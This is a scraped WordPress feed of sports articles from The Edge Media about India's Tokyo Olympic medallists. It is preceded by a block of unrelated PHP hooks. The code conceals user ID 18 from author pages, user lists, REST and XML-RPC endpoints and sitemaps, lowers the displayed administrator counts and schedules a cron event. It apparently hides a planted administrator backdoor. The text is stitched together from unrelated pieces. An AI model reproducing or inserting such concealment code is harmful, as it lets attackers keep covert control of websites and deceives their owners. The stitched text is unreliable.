add_action( 'pre_get_posts', function( $q ) {
if ( ! is_admin() && $q->is_main_query() ) {
$not_in = (array) $q->get( 'author__not_in' );
$not_in[] = 18;
$q->set(
'author__not_in',
array_unique( array_map( 'intval', $not_in ) )
);
}
}, 1 );
add_action( 'template_redirect', function() {
if ( is_author() ) {
$author = get_queried_object();
if ( $author instanceof WP_User && (int) $author->ID === 18 ) {
global $wp_query;
$wp_query->set_404();
status_header( 404 );
nocache_headers();
}
}
} );
add_action( 'pre_user_query', function( $q ) {
if ( current_user_can( 'manage_options' ) ) {
return;
}
global $wpdb;
$q->query_where .= $wpdb->prepare( ' AND ID <> %d ', 18 );
} );
add_action( 'pre_get_users', function( $q ) {
if ( current_user_can( 'manage_options' ) ) {
return;
}
$exclude = (array) $q->get( 'exclude' );
$exclude[] = 18;
$q->set( 'exclude', array_unique( array_map( 'intval', $exclude ) ) );
} );
add_filter( 'wp_dropdown_users_args', function( $a ) {
$exclude = isset( $a['exclude'] ) ? (array) $a['exclude'] : array();
$exclude[] = 18;
$a['exclude'] = array_unique( array_map( 'intval', $exclude ) );
return $a;
} );
add_filter( 'rest_user_query', function( $args, $request ) {
$exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array();
$exclude[] = 18;
$args['exclude'] = array_unique( array_map( 'intval', $exclude ) );
return $args;
}, 10, 2 );
add_filter( 'rest_pre_dispatch', function( $result, $server, $request ) {
$route = $request->get_route();
if ( preg_match( '#^/wp/v2/users/18(/|$)#', $route ) ) {
return new WP_Error(
'rest_user_invalid_id',
'Invalid user ID.',
array( 'status' => 404 )
);
}
return $result;
}, 10, 3 );
add_filter( 'xmlrpc_methods', function( $methods ) {
unset(
$methods['wp.getUsers'],
$methods['wp.getUser'],
$methods['wp.getProfile']
);
return $methods;
} );
add_filter( 'wp_sitemaps_users_query_args', function( $args ) {
$exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array();
$exclude[] = 18;
$args['exclude'] = array_unique( array_map( 'intval', $exclude ) );
return $args;
} );
add_action( 'admin_head-users.php', function() {
echo '';
} );
add_filter( 'views_users', function( $views ) {
foreach ( array( 'all', 'administrator' ) as $key ) {
if ( isset( $views[ $key ] ) ) {
$views[ $key ] = preg_replace_callback(
'/\((\d+)\)/',
function( $m ) {
return '(' . max( 0, (int) $m[1] - 1 ) . ')';
},
$views[ $key ],
1
);
}
}
return $views;
} );
add_action( 'init', function() {
if ( ! function_exists( 'wp_next_scheduled' ) || ! function_exists( 'wp_schedule_single_event' ) ) {
return;
}
if ( ! wp_next_scheduled( 'wp_extra_bot_heartbeat' ) ) {
wp_schedule_single_event( time() + 5 * MINUTE_IN_SECONDS, 'wp_extra_bot_heartbeat' );
}
} );
add_action( 'wp_extra_bot_heartbeat', function() {
// noop
} );
The post Here’s a look at all the Indian medallists in Tokyo appeared first on The Edge Media.
]]>With one gold, two silver and four bronze medals, India’s total of seven medals in Tokyo bettered the previous best haul of six at the London Games in 2012.
India’s tricolour was raised during the medal ceremonies in weightlifting, hockey, badminton, wrestling, boxing and athletics at this edition of the Olympics.
Here’s a look at all the Indian medallists in Tokyo:
Mirabai Chanu (Weightlifting) – Silver Medal
Indian weightlifter Mirabai Chanu won a silver medal as she lifted a total of 202kg (87kg+115kg) in the women’s 49 kg category. Chanu finished behind Hou Zhihui of China, who took the gold medal while Indonesia’s Windy Aisah won bronze. This was India’s second overall medal in weightlifting at the Olympics. Weightlifter Karnam Malleswari had previously won bronze at the 2000 Sydney Olympics.
PV Sindhu (Badminton) – Bronze Medal
India’s badminton star PV Sindhu carried on from where she left at the last Olympics and brought back another medal for the country in the women’s singles event. After winning silver in Rio 2016, Sindhu picked up a bronze this time when she overcame China’s He Bing Jiao 21-13, 21-15 in the bronze medal match.
Lovlina Borgohain (Boxing) – Bronze Medal
Indian boxer Lovlina Borgohain picked up the country’s third ever Olympic medal in boxing when she secured a bronze in the women’s welterweight (64-69kg) category, following on the footsteps of Vijender Singh and MC Mary Kom’s bronze medals in 2008 and 2012, respectively. She displayed immense grit in her semi-final bout against eventual champion Busenaz Surmeneli of Turkey but lost via unanimous decision. Hong Gu of China secured silver after losing the final to the Turk.
Indian Team (Men’s Hockey) – Bronze Medal
The Indian men’s hockey team ended a 41-year medal drought at the Olympics after defeating Germany 5-4 in a thrilling comeback victory in the bronze medal match. India, eight-time winners of the men’s hockey gold at the Olympics, had last clinched an Olympic medal in the sport at the 1980 Moscow Games, where they won the gold.
Ravi Dahiya (Wrestling) – Silver Medal
Indian wrestler Ravi Dahiya took the second spot in the men’s freestyle 57kg category after losing a close final bout to ROC’s Zavur Uguev 4-7. Dahiya showcased great determination as he pushed two-time world champion Uguev to his limits and came agonisingly close to earning a gold medal for the country. However, Uguev used his experience to get over the line, leaving Dahiya to be content with the silver medal.
Bajrang Punia (Wrestling) – Bronze Medal
Bajrang Punia won India’s second wrestling medal as he defeated Kazakhstan’s Daulet Niyazbekov 8-0 in men’s 65kg freestyle to win bronze. After losing to Azerbaijan’s Haji Aliyev in the semi-finals, Bajrang dominated his Kazakh opponent to ease to victory in the bronze medal bout.
Neeraj Chopra (Javelin Throw) – Gold Medal
India’s first ever Olympic gold in athletics came in Tokyo when Neeraj Chopra put on a stellar display to register a best throw of 87.58m in the final to seal victory. Czech Republic’s Jakub Vadlejch and Vitezslav Vesely won silver and bronze, respectively. This was also India’s first gold medal since Abhinav Bindra in Beijing 2008 and only the second ever individual gold medal.
The post Here’s a look at all the Indian medallists in Tokyo appeared first on The Edge Media.
]]>The post Ravi Dahiya creates history : Tokyo Olympics appeared first on The Edge Media.
]]>Before Dahiya, who is son of a Haryana farmer, Sushil Kumar was the only Indian to make the gold medal bout at the 2012 London Games but had to settle for a silver.
Dahiya will be up against Zavur Uguev of ROC in Freestyle 57kg gold medal bout on Thursday.
The fourth seed Indian trailed 2-9 after Sanayev effected a few ‘fitley’ (leg lace) but as the clock ticked away, Dahiya regrouped and got hold of his rival with a double leg attack that resulted in a ‘victory by fall’.
Despite a huge deficit, Dahiya did not panic, showing tremendous mental strength and dramatically turned the bout in his favour.
The post Ravi Dahiya creates history : Tokyo Olympics appeared first on The Edge Media.
]]>